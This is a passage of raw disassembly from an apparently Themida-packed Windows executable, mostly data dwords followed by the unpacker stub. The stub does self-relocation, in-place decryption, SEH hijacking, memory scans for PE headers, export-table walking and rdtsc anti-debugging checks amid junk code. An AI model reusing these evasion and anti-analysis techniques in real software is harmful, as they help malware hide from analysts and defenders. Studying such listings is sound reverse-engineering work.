5CA4h, 4 dup(0) align 8 dd 76F212h, 3 dup(0) dd 90000000h, 5 dup(0) dd 98000000h, 770129A9h, 70012159h, 3, 5 dup(0) dd 3C000000h, 71FFFFFFh, 7C90FBh, 0 dd 0A4000000h, 5B56h, 2D027000h, 9E3260h, 0 dd 7C000000h, 0D2000000h, 0C03F4093h, 5C00h, 6 dup(0) dd 2B000000h, 4028BF7Fh, 0B21Ah, 2 dup(0) dd 0E9000000h, 1Ch, 1000000h, 0D000000h, 0B58Bh, 2 dup(0) dd 0DF000000h, 0A9C530h, 94000000h, 7C90EBh, 88000000h dd 8005E28h, 5AC3h, 64000000h, 5CC0h, 2 dup(0) dd 0DA000000h, 10005B57h, 76F215h, 9 dup(0) dd 93000000h, 48005BAFh, 2C2F091Fh, 0D9025400h, 0C765D4h dd 2 dup(0) dd 0D000000h, 6C00B58Bh, 836F14h, 0B3000000h, 5D47h, 8 dup(0) dd 0C0000000h, 5C00h, 7 dup(0) dd 0FC000000h, 0FFFFFFh, 2 dup(0) dd 0DF000000h, 7C90C6h, 3 dup(0) dd 0FC000000h, 0E67F28h, 4 dup(0) dd 0C2000000h, 2 dup(0) dd 6000000h, 5B78h, 5 dup(0) dd 0A1000000h, 5A61h, 4000000h, 2 dup(0) dd 47000000h, 7C809Bh, 1C000000h, 0FFFFFF79h, 0FFFFFFh dd 0 dd 0FF000000h, 54005B1Fh, 696D6568h, 6164h, 1Bh dup(0) dd 0C1000000h, 3F005C02h, 57E1h, 4 dup(0) dd 0C000000h, 0FF864972h, 0F4h, 10000000h, 36005EBAh, 363636h dd 5 dup(0) dd 0AC000000h, 68FFFF78h, 5BD8h, 0Fh dup(0) dd 0B0000000h, 1F3FFh, 0 dd 0A8000000h, 2E38C8h, 30000000h, 0CDFF4DF1h, 0B90037B5h dd 5D08h, 0 dd 0CF000000h, 5500B2A8h, 2E67D2h, 2D000000h, 0E2A9CEh dd 0 dd 82000000h, 0Fh, 3 dup(0) dd 5E00h, 0BC000000h, 500001Bh, 0A2801h, 3 dup(0) dd 0DF000000h, 0A9C530h, 3 dup(0) dd 48000000h, 0E57C90FCh, 9477DDEDh, 0B67C90EBh, 0B1005B56h dd 8AA99Fh, 0D000000h, 4006h, 0C4000000h, 440012FFh, 0C246DAh dd 6 dup(0) dd 0D000000h, 87004006h, 0A8D2h, 9 dup(0) dd 8C000000h, 0EFFFE94h, 70557E70h, 2CCB42h, 0 dd 0F8000000h, 0F228664h, 0B83Fh, 3F000000h, 57BBh, 3 dup(0) dd 23000000h, 5700h, 2 dup(0) dd 61000000h, 5EEBh, 7F000000h, 7EBDFAh, 4 dup(0) dd 98000000h, 129A9h, 3 dup(0) dd 0F3000000h, 0C7BB1Bh, 11h dup(0) dd 0EC000000h, 37h, 0ED000000h, 8474Ah, 12h dup(0) dd 0CF000000h, 7C80B4h, 0E9000000h, 0ED000035h, 2F7DE7E3h dd 5D4Ch, 0 dd 2B000000h, 6C010E85h, 0F3E324h, 0 dd 8D000000h, 5F0Eh, 0Ah dup(0) dd 80000000h, 0FFFFFEh, 0Ah dup(0) dd 82000000h, 5BFAh, 0 dd 0E3000000h, 27C0Ah, 23000000h, 57C3h, 3 dup(0) dd 23000000h, 87005B00h, 1000013h, 0 dd 33000000h, 2 dup(33333333h), 0BB333333h, 22837C86h dd 22222222h, 43222222h, 56h, 0 dd 0AA000000h, 3A0h, 0 dd 32000000h, 5AF6h, 7 dup(0) dd 0F000000h, 0B218h, 4 dup(0) dd 9F000000h, 374309h, 94000000h, 0A47C90EBh, 32005BE5h dd 0EC00B58Bh, 18FFFF96h, 7C90EEh, 18h dup(0) dd 79000000h, 127413h, 0 dd 94000000h, 7C90EBh, 5 dup(0) dd 70000000h, 6009h, 26D00h, 4 dup(0) dd 65000000h, 0F50143h, 7 dup(0) dd 98000000h, 129A9h, 0 dd 0D3000000h, 73D5C9h, 0 dd 80000000h, 12FEh, 0F40004D0h, 5D54h, 0A3029700h, 0CDA680h dd 0 dd 0AB000000h, 5D8Eh, 2 dup(0) dd 0A1000000h, 0FFEEF4h, 98000000h, 5A61h, 4 dup(0) dd 1000000h, 35000000h, 2C1B26h, 94000000h, 7C90EBh, 0DF000000h dd 82A9C530h, 5BFAh, 0AA000000h, 8FF9FFCh, 0B2B5h, 0 dd 98000000h, 940129A9h, 1E7C90EBh, 6D005E44h, 7C9105h dd 3 dup(0) dd 80000000h, 2, 4 dup(0) dd 0FA000000h, 934E5721h, 0F000B324h, 80001Dh, 5 dup(0) dd 7C000000h, 10h, 0 dd 94000000h, 7C90EBh, 0 dd 70000000h, 0FFFF95h, 3 dup(0) dd 40000000h, 2D005EC8h, 0DF8725h, 6 dup(0) dd 200h, 23h dup(0) dd 5F000000h, 58011D85h, 0D57C863Fh, 18h, 3 dup(0) dd 23000000h, 5B00h, 2 dup(0) dd 0B0000000h, 0E40233FFh, 23h, 0Dh dup(0) dd 0A1000000h, 0B2AAh, 0 dd 9F000000h, 3F9F95h, 6 dup(0) dd 5D000000h, 32597Fh, 0 dd 3F000000h, 57BBh, 82000000h, 0CE005AF6h, 5AA2h, 9E000000h dd 230000EFh, 5B00h, 8A000000h, 384130CEh, 5, 5 dup(0) dd 0F6000000h, 36516h, 2 dup(0) dd 88000000h, 71h, 8 dup(0) dd 97000000h, 12A127h, 4 dup(0) dd 17000000h, 4D56C5h, 9 dup(0) dd 88000000h, 0Ah dup(0) dd 0FF000000h, 0FFFFFFh, 23004000h, 0 dd 7000000h, 0FCFD12h, 3 dup(0) dd 8F000000h, 5FFCh, 3 dup(0) dd 58000000h, 24h, 0F0000000h, 0BC2E68h, 0C000000h, 65EDA20Dh dd 178C3Eh, 6 dup(0) dd 54000000h, 12FFh, 4 dup(0) dd 4000000h, 10h, 1Ch dup(0) dd 44000000h, 0E100B21Ah, 5B8Eh, 9 dup(0) dd 0A0000000h, 9 dup(0) dd 6C000000h, 0 dd 1000000h, 98000000h, 5A61h, 94000000h, 7C90EBh, 0C8000000h dd 871DD4h, 3 dup(0) dd 0CC000000h, 5BBAh, 0 dd 3000000h, 0B2FAh, 7 dup(0) dd 1000000h, 2 dup(0) dd 74000000h, 7630DEh, 0 dd 11000000h, 111111h, 4 dup(0) dd 1F000000h, 0EEFB26h, 77000000h, 487C810Ah, 0E7006071h dd 0E477DDEBh, 46h, 0 dd 23000000h, 5700h, 98000000h, 129A9h, 0F0000000h, 77DD6Bh dd 0 dd 67000000h, 963E10h, 94000000h, 7C90EBh, 4 dup(0) dd 0CE000000h, 94000000h, 7C90EBh, 2 dup(0) dd 37000000h, 77DDEEh, 8E000000h, 56EBh, 9 dup(0) dd 84000000h, 1C005E8Ah, 0CDA66Dh, 8 dup(0) dd 0A0004000h, 130000FCh, 0B802h, 7Fh, 0Dh dup(0) dd 18000000h, 7C8035h, 0EC000000h, 0B237h, 7 dup(0) dd 17000000h, 9A00B294h, 0AD005B03h, 825A83h, 0B0000000h dd 8E01F3FFh, 5E9Dh, 7 dup(0) dd 51000000h, 2D00B28Eh, 568A3h, 3 dup(0) dd 5C000000h, 0FFED00h, 3 dup(0) dd 73000000h, 56B5BBh, 2 dup(0) dd 0D9000000h, 5AF3h, 4 dup(0) dd 0F7000000h, 0DE8F1A62h, 5D09h, 2 dup(0) dd 84000000h, 0A3h, 0 dd 98000000h, 940129A9h, 997C90EBh, 5D4Bh, 0C0000000h dd 5D09h, 25400h, 6C000000h, 836F14h, 0 dd 1000000h, 3 dup(0) dd 26F00h, 3 dup(0) dd 0A4000000h, 12FFh, 0 dd 98000000h, 129A9h, 5 dup(0) dd 77000000h, 7C801Dh, 66000000h, 0BBD17Fh, 2 dup(0) dd 3C000000h, 0B21Ah, 2 dup(0) dd 0FC00007Fh, 0E67F28h, 3 dup(0) dd 66000000h, 0BBD17Fh, 8 dup(0) dd 34000000h, 0EAh, 2 dup(0) dd 0D7000000h, 60C0h, 2 dup(0) dd 24000000h, 7C801Ah, 0D2000000h, 3F4093h, 0AD000000h dd 400B4FCh, 6D89EFh, 2000000h, 8 dup(0) dd 5C000000h, 0FFA4A9h, 0 dd 2E000000h, 0C0BF6Ch, 2 dup(0) dd 8C000000h, 4 dup(0) dd 0E000000h, 7C8018h, 3000000h, 0B3C2h, 0 dd 94000000h, 0 dd 8A000000h, 80005B1Fh, 3 dup(0) dd 0ED000000h, 94824034h, 7C90EBh, 0 dd 42000000h, 0B218h, 2 dup(0) dd 0FE000000h, 747C834Fh, 2 dup(0) dd 0B0000000h, 0ECA4F8Ah, 0E97C8018h, 0EDh, 2 dup(0) dd 98000000h, 5E0129A9h, 5A005C10h, 5DA9h, 94000000h, 0A87C90EBh dd 144Bh, 3 dup(0) dd 0AD000000h, 0DD7E41A8h, 2, 97000000h, 5CEFh, 0 dd 94000000h, 7C90EBh, 5 dup(0) dd 54000000h, 580012FFh, 0A0000000h, 947C80ADh, 7C90EBh dd 0Bh dup(0) dd 0F7000000h, 0B51Ch, 1000000h, 5 dup(0) dd 6C000000h, 836F14h, 5A026E00h, 0FFA313h, 6 dup(0) dd 5C000000h, 0F9h, 2 dup(0) dd 0FE000000h, 8EBB97h, 0 dd 0F000000h, 0B218h, 0E9000000h, 35h, 7C000000h, 2 dup(0) dd 24000000h, 94242424h, 7C90EBh, 5C000000h, 5D2Fh, 31h dup(0) dd 0A4000000h, 5B56h, 0Eh dup(0) dd 7C8000h, 3 dup(0) dd 0F5000000h, 12EBh, 0 dd 5C000000h, 77059596h, 0FF005FDAh, 0FFFFFFh, 8 dup(0) dd 0E000000h, 7CC960h, 5 dup(0) dd 0F0000000h, 0B219h, 2 dup(0) dd 0A1000000h, 9800B2AEh, 94000033h, 7C90EBh, 2 dup(0) dd 4A000000h, 0FFA01Dh, 8000000h, 0B2B5h, 5 dup(0) dd 0D0000000h, 3 dup(0) dd 0D2000000h, 3F4093h, 0FC000000h, 0AAF9h, 3 dup(0) dd 28000000h, 0FF00B28Bh, 7FDFFFh, 0DE000000h, 0C25FDFh dd 0 dd 0B8000000h, 22012Bh, 0 dd 26E00h, 2 dup(0) dd 0B6000000h, 0ED0000AEh, 6CE86h, 4 dup(0) dd 0F5000000h, 2F162E27h, 6075h, 0 dd 8C000000h, 90000000h, 0FFFFA2h, 90000000h, 76F217h dd 4 dup(0) dd 98000000h, 800129A9h, 0FBA51Bh, 20000000h, 7C8047h dd 3 dup(0) dd 7F000000h, 0FFA150h, 82004010h, 0C6h, 1A000000h, 0DF006015h dd 0E4h, 3 dup(0) dd 1000000h, 4 dup(0) dd 2D0h, 0Bh dup(0) dd 69000000h, 7E00B81Eh, 5EAAh, 2 dup(0) dd 0DA000000h, 7C81CDh, 9 dup(0) dd 5000000h, 19h dup(0) dd 87000000h, 56h, 1F000000h, 15E299h, 4 dup(0) dd 0A3000000h, 83CA17h, 0Dh dup(0) dd 0C8000000h, 0FF0012FEh, 7Fh, 3 dup(0) dd 0B8000000h, 0 dd 0B6000000h, 0F38D26h, 14h dup(0) dd 3B000000h, 0CA005EACh, 73FED3h, 2 dup(0) dd 88000000h, 7E63D4h, 2 dup(0) dd 0F6000000h, 557EAFh, 0 dd 77DD00h, 3 dup(0) dd 0A4000000h, 0B1005B56h, 57FEh, 5A000000h, 94005AF6h dd 180000EBh, 0B229h, 0Ch dup(0) dd 0F9000000h, 7C90DDh, 2 dup(0) dd 0A5000000h, 9005D19h, 67C812Ah, 0E8942B56h, 5, 8 dup(0) dd 0FF000000h, 0FFFFFFh, 2 dup(0) dd 7C9000h, 4 dup(0) dd 0E8000000h, 557E70h, 73000000h, 5263B8h, 6 dup(0) dd 94000000h, 0EBh, 5 dup(0) dd 0FB000000h, 0EB1C17D1h, 6D0F7Ch, 7 dup(0) dd 0B200h, 2Dh dup(0) dd 0C000000h, 6Bh, 84000000h, 3000000h, 0B2FAh, 4 dup(0) dd 1, 3 dup(0) dd 9C000000h, 2 dup(0) dd 0BF000000h, 17E3FFh, 0 dd 0F4000000h, 0C12564h, 4 dup(0) dd 6000000h, 5B78h, 0 dd 94000000h, 7C90EBh, 0 dd 61000000h, 0FFFFEBh, 2 dup(0) dd 47000000h, 7C809Bh, 0Fh dup(0) dd 0FD000000h, 0FF4D05h, 2 dup(0) dd 60000000h, 6 dup(0) dd 30000000h, 5A801EB5h, 5D2Fh, 2 dup(0) dd 0F9000000h, 302EDh, 3 dup(0) dd 0B0000000h, 980163FFh, 3 dup(0) dd 5A000000h, 77DDEEh, 0 dd 0E4000000h, 0B28Eh, 4000h, 3 dup(0) dd 1000000h, 6 dup(0) dd 0DA000000h, 7C81CDh, 3 dup(0) dd 0BD000000h, 6A005F3Ch, 0E9ABh, 3 dup(0) dd 7E4100h, 90000000h, 0FF9FF6h, 4 dup(0) dd 54000000h, 5B3Dh, 0Ah dup(0) dd 0DA000000h, 7C8111h, 0Bh dup(0) dd 0B9000000h, 7CB29Eh, 13h dup(0) dd 12000000h, 32D456h, 5 dup(0) dd 74000000h, 0 dd 0E1000000h, 5F18h, 2 dup(0) dd 0DE000000h, 5FD5h, 0DE000000h, 7C80ABh, 60000000h, 0FBD364h dd 3 dup(0) dd 0C6000000h, 5F10h, 5 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57EF83: ; CODE XREF: start:loc_57BADAj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 61234B3h mov [ebp+6121D79h], edx mov [ebp+61221A1h], esi mov [ebp+61218FDh], eax cmp dword ptr [ebp+6122E51h], 0 jz short loc_57EFBB mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_57EFBB: ; CODE XREF: start+6BF99j mov eax, [esp+40h+var_1C] mov [ebp+61200C9h], eax push 45h call sub_57F06F push 783749Ah call sub_57F0B5 push 0A894B25h call sub_57F0B5 jmp loc_57F1F9 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_57F06F proc near ; CODE XREF: start+6BFB3p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 61235A1h mov ebx, edx mov [ebp+var_28], 0 loc_57F08B: ; CODE XREF: sub_57F06F+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_57F0AA mov eax, [ebp+arg_0] mov [ebx+612350Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_57F08B ; --------------------------------------------------------------------------- loc_57F0AA: ; CODE XREF: sub_57F06F+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_57F06F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_57F0B5 proc near ; CODE XREF: start+6BFBDp start+6BFC7p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 61235EAh lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_57F0DB: ; CODE XREF: sub_57F0B5+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_57F0DB mov [ebp+var_84], 0 lea edi, [edx+612350Bh] lea esi, [ebp+var_80] loc_57F10B: ; CODE XREF: sub_57F0B5+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_57F117: ; CODE XREF: sub_57F0B5+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_57F117 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_57F10B popa leave retn 4 sub_57F0B5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_57F155 ; --------------------------------------------------------------------------- loc_57F151: ; CODE XREF: Themida_:0057F158j inc dword ptr [ebp-4] inc esi loc_57F155: ; CODE XREF: Themida_:0057F14Fj cmp byte ptr [esi], 0 jnz short loc_57F151 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_57F1E6 ; --------------------------------------------------------------------------- loc_57F167: ; CODE XREF: Themida_:0057F1E9j mov dword ptr [ebp-8], 0 jmp short loc_57F1DD ; --------------------------------------------------------------------------- loc_57F170: ; CODE XREF: Themida_:0057F1E1j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_57F1CA ; --------------------------------------------------------------------------- loc_57F180: ; CODE XREF: Themida_:0057F1CEj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_57F1A2 cmp bl, 39h ja short loc_57F1A2 sub bl, 30h jmp short loc_57F1C4 ; --------------------------------------------------------------------------- loc_57F1A2: ; CODE XREF: Themida_:0057F196j ; Themida_:0057F19Bj cmp bl, 61h jb short loc_57F1B4 cmp bl, 66h ja short loc_57F1B4 sub bl, 61h add bl, 0Ah jmp short loc_57F1C4 ; --------------------------------------------------------------------------- loc_57F1B4: ; CODE XREF: Themida_:0057F1A5j ; Themida_:0057F1AAj cmp bl, 41h jb short loc_57F1C4 cmp bl, 46h ja short loc_57F1C4 sub bl, 41h add bl, 0Ah loc_57F1C4: ; CODE XREF: Themida_:0057F1A0j ; Themida_:0057F1B2j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_57F1CA: ; CODE XREF: Themida_:0057F17Ej cmp dword ptr [ebp-0Ch], 2 jb short loc_57F180 cmp dword ptr [ebp-10h], 0 jbe short loc_57F1DA mov eax, [ebp-10h] stosb loc_57F1DA: ; CODE XREF: Themida_:0057F1D4j inc dword ptr [ebp-8] loc_57F1DD: ; CODE XREF: Themida_:0057F16Ej cmp dword ptr [ebp-8], 2 jb short loc_57F170 add edx, 4 loc_57F1E6: ; CODE XREF: Themida_:0057F165j cmp edx, [ebp-4] jb loc_57F167 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57F1F9: ; CODE XREF: start+6BFCCj mov ecx, 7000h lea edi, [ebp+6123730h] loc_57F204: ; CODE XREF: start+6C1F4j dec byte ptr [edi] inc edi dec ecx jnz short loc_57F204 mov eax, 48692121h mov edx, 0F0113000h sub edx, 0F0000000h lea eax, [ebp+6123856h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax call sub_57F245 mov eax, 2B097EB1h or eax, 29596F10h push ecx ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_57F245 proc near ; CODE XREF: start+6C221p mov bh, dh pop ebx add ebx, 600B0ABBh push 0 push edx call sub_57F259 and [edx-3Dh], bl sub_57F245 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57F259 proc near ; CODE XREF: sub_57F245+Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_57F259 endp ; --------------------------------------------------------------------------- push esp clc sub eax, edx add bx, 0A0A9h movsx ebx, bx and eax, 0FFFFF000h push 0 push eax call sub_57F285 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F285 proc near ; CODE XREF: Themida_:0057F27Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_57F285 endp ; --------------------------------------------------------------------------- db 89h, 0C3h, 0C8h ; --------------------------------------------------------------------------- cli cli adc al, 0BDh mov bh, 73h sub bx, 0C4D1h mov ecx, edx xor edi, edi loc_57F2A7: ; CODE XREF: Themida_:0057F2C2j cmp word ptr [eax], 5A4Dh jnz short loc_57F2BC movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_57F2C4 loc_57F2BC: ; CODE XREF: Themida_:0057F2ACj sub eax, 1000h inc edi jmp short loc_57F2A7 ; --------------------------------------------------------------------------- loc_57F2C4: ; CODE XREF: Themida_:0057F2BAj pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+6123869h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_57F2FE mov esi, [eax+1Ch] loc_57F2FE: ; CODE XREF: Themida_:0057F2F9j xor eax, eax loc_57F300: ; CODE XREF: Themida_:0057F313j cmp eax, 32h jz short loc_57F324 cmp word ptr [esi], 5A4Dh jz short loc_57F315 loc_57F30C: ; CODE XREF: Themida_:0057F322j sub esi, 10000h inc eax jmp short loc_57F300 ; --------------------------------------------------------------------------- loc_57F315: ; CODE XREF: Themida_:0057F30Aj mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_57F366 jmp short loc_57F30C ; --------------------------------------------------------------------------- loc_57F324: ; CODE XREF: Themida_:0057F303j pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 6123874h lea eax, [ebp+6123832h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_57F366: ; CODE XREF: Themida_:0057F320j xchg eax, esi pop large dword ptr fs:0 add esp, 4 sub bl, 37h jmp loc_57F37F ; --------------------------------------------------------------------------- db 0B3h, 8Eh, 3Ch db 0E1h, 5, 0EBh ; --------------------------------------------------------------------------- loc_57F37F: ; CODE XREF: Themida_:0057F374j mov cx, ds push 0 push ebp call sub_57F38D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57F38D proc near ; CODE XREF: Themida_:0057F385p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_57F38D endp ; --------------------------------------------------------------------------- db 3Eh, 0A5h, 0B0h dd 0CD634F75h, 8B666002h, 2860FF3h, 60000000h, 0E1806161h dd 0EF816004h, 2DD09C5Bh, 60B3DBAh, 0C90A612Ch, 30850Fh dd 0E9600000h, 0Ch, 68F8D660h, 92ADE732h, 0F20BD415h, 0E985C761h dd 106120Eh, 51000000h, 5BDBBF0Fh, 31E9h, 3830F00h, 80000000h dd 85C71DDFh, 6120EE9h, 0 dd 0AE8D98Bh, 0D000000h, 3B824DFAh, 0C5056387h, 7E941h dd 0E4BC0000h, 0B075231Eh, 85895B25h, 61217F1h, 171DF381h dd 8589587Fh, 6123101h, 10E8h, 8F1F300h, 58283F1Eh, 426E927Ch dd 78817F7h, 0D0BF0FF8h, 0C781F85Fh, 6549h, 12E9h, 4B1A7500h dd 0DC6310F1h, 0FDDB65AAh, 9B1B399Dh, 332158B3h, 0D18B66DBh dd 0F1F048Bh, 0C081CFB7h, 10A74D13h, 0C081D08Bh, 59E0C85Ah dd 75C68160h, 535CC9D5h, 11E8h, 0AB624900h, 0E35EDF72h dd 2AF2CF00h, 6D6719ECh, 5A5B04B9h, 10C08161h, 0F90E9517h dd 0A0B96650h, 1F048F89h, 3870Fh, 0BF0F0000h, 0F2BF0FD0h dd 0F03EB83h, 689h, 0A0E68100h, 4B742869h, 0FE9h, 5CBCBA00h dd 854FA703h, 21CCA67Ah, 1F69C782h, 9B9CFB81h, 850FFFFFh dd 1Bh, 50E98166h, 28E9B5h, 7900000h, 0A7E527B0h, 597134F1h dd 0F525FFCBh, 0F53C9573h, 0FFFF5FE9h, 8C14ABFFh, 3B15C384h dd 0A0680680h, 9CB46D18h, 10E828A2h, 0E7000000h, 88C7FBBCh dd 0C42209D7h, 0D211D220h, 66FE7278h, 58D7C6BEh, 0C081FB8Bh dd 5B03h, 6F0BCE81h, 0BA6D57h, 0F000000h, 98Eh, 3880F00h dd 0F000000h, 0C8BFBBFh, 0E981F810h, 83AD86Ah, 2D1AC181h dd 0F08B68AEh, 8DCAE981h, 860F0935h, 2, 0C89D98Bh, 1890F10h dd 0F5000000h, 83BDDB80h, 816602EAh, 4A16BCC3h, 1E880F4Ah dd 0E8000000h, 12h, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h, 0ADD80670h dd 890F1CCDh, 0 ; --------------------------------------------------------------------------- pop edi cmp edx, 0FFFFA5D0h jnz loc_57F5DB adc esi, 723C3A99h jmp loc_57F5FE ; --------------------------------------------------------------------------- cdq cmp esi, esp mov ch, 0C4h lodsd add ebp, ebx dec esi das sahf loc_57F5DB: ; CODE XREF: Themida_:0057F5BFj push ecx jz loc_57F5E5 mov si, ax loc_57F5E5: ; CODE XREF: Themida_:0057F5DCj pop edi jmp near ptr dword_57F404+15Ah ; --------------------------------------------------------------------------- db 20h dd 4D2C5FCh, 0B761E00Fh, 3E5B3F87h, 89B2B49Bh db 0C1h, 0DBh ; --------------------------------------------------------------------------- loc_57F5FE: ; CODE XREF: Themida_:0057F5CBj jmp short loc_57F604 ; --------------------------------------------------------------------------- dd 21Bh ; --------------------------------------------------------------------------- loc_57F604: ; CODE XREF: Themida_:loc_57F5FEj jmp loc_57FDA7 ; --------------------------------------------------------------------------- pusha mov ah, 94h jmp loc_57F621 ; --------------------------------------------------------------------------- stosb mov bl, [edi+68h] push ebx xchg eax, edx mov edx, [ecx-6Eh] shl ebp, 1 mov eax, ds:1D52426Bh loc_57F621: ; CODE XREF: Themida_:0057F60Cj popa pusha mov [ebp+612270Dh], edi sub eax, eax cld mov edx, [esp+28h] jo loc_57F64F jnb loc_57F64F jmp loc_57F64F ; --------------------------------------------------------------------------- inc ebx cmpsb sti icebp and cl, bh or bh, ds:0E49373CBh inc edi loc_57F64F: ; CODE XREF: Themida_:0057F630j ; Themida_:0057F636j ... mov [ebp+61219D1h], eax mov [ebp+6120435h], edi mov esi, 3Ch jbe loc_57F66C add [ebp+6122DBDh], ecx loc_57F66C: ; CODE XREF: Themida_:0057F660j add esi, [esp+24h] cld lodsw mov [ebp+6123305h], edi add eax, [esp+24h] mov [ebp+612255Dh], ebx nop push eax push edx jmp loc_57F698 ; --------------------------------------------------------------------------- imul dword ptr [ebp+49h] adc [edi-4F5811CDh], edi xchg ebx, [esi+1Bh] cmpsb loc_57F698: ; CODE XREF: Themida_:0057F686j rdtsc jnz loc_57F6A6 push eax push edx rdtsc pop edx pop eax loc_57F6A6: ; CODE XREF: Themida_:0057F69Aj pop edx pop eax push eax push eax push edx js loc_57F6B7 jo $+6 loc_57F6B7: ; CODE XREF: Themida_:0057F6ABj rdtsc push eax push edx pusha popa rdtsc jge $+6 pop edx pop eax pop edx pop eax nop pusha mov ebx, [ebp+6122209h] jmp loc_57F6E6 ; --------------------------------------------------------------------------- dw 8F67h dd 7A86D45Ah, 32A2CE59h, 0DD1535A9h db 0FAh, 0BDh ; --------------------------------------------------------------------------- loc_57F6E6: ; CODE XREF: Themida_:0057F6D1j popa stc mov eax, [eax+78h] stc add eax, [esp+28h] pusha xor cx, 0BBE7h popa mov eax, [eax+18h] jmp loc_57F709 ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- or al, 0B1h mov dh, [ebx+eax+1A4B35BFh] loc_57F709: ; CODE XREF: Themida_:0057F6FAj inc eax jnp loc_57F716 xor [ebp+6122A35h], eax loc_57F716: ; CODE XREF: Themida_:0057F70Aj mov [ebp+6123B26h], eax or [ebp+6123075h], edx pop eax sub [ebp+612210Dh], edi or [ebp+612245Dh], ecx mov esi, [eax+78h] cmc add esi, 1Ch js loc_57F750 jmp loc_57F750 ; --------------------------------------------------------------------------- db 0BBh, 0ECh, 98h ; --------------------------------------------------------------------------- dec ebx jmp dword ptr [ebp-339CFFD9h] ; --------------------------------------------------------------------------- align 4 dd 507EE667h ; --------------------------------------------------------------------------- loc_57F750: ; CODE XREF: Themida_:0057F736j ; Themida_:0057F73Cj add esi, [esp+24h] jmp loc_57F76D ; --------------------------------------------------------------------------- db 96h, 0E5h, 0E0h dd 4E186BE7h, 0EDA3087Ch, 0E8D0168Eh, 0CEA99DADh db 0F2h ; --------------------------------------------------------------------------- loc_57F76D: ; CODE XREF: Themida_:0057F754j lea edi, [ebp+6122559h] pusha jmp loc_57F77E ; --------------------------------------------------------------------------- mov ds:47F07685h, eax loc_57F77E: ; CODE XREF: Themida_:0057F774j pusha sub cx, 3D3Ah mov [ebp+61202F5h], esi popa popa lodsd clc jmp loc_57F7A0 ; --------------------------------------------------------------------------- db 5Eh dd 1DC5C9F6h, 793F7520h, 2BF2B6AEh ; --------------------------------------------------------------------------- loc_57F7A0: ; CODE XREF: Themida_:0057F78Ej add eax, [esp+24h] pusha push ebx mov edx, [ebp+6122445h] pop edx clc popa jb loc_57F7BB sub [ebp+61223B5h], ebx loc_57F7BB: ; CODE XREF: 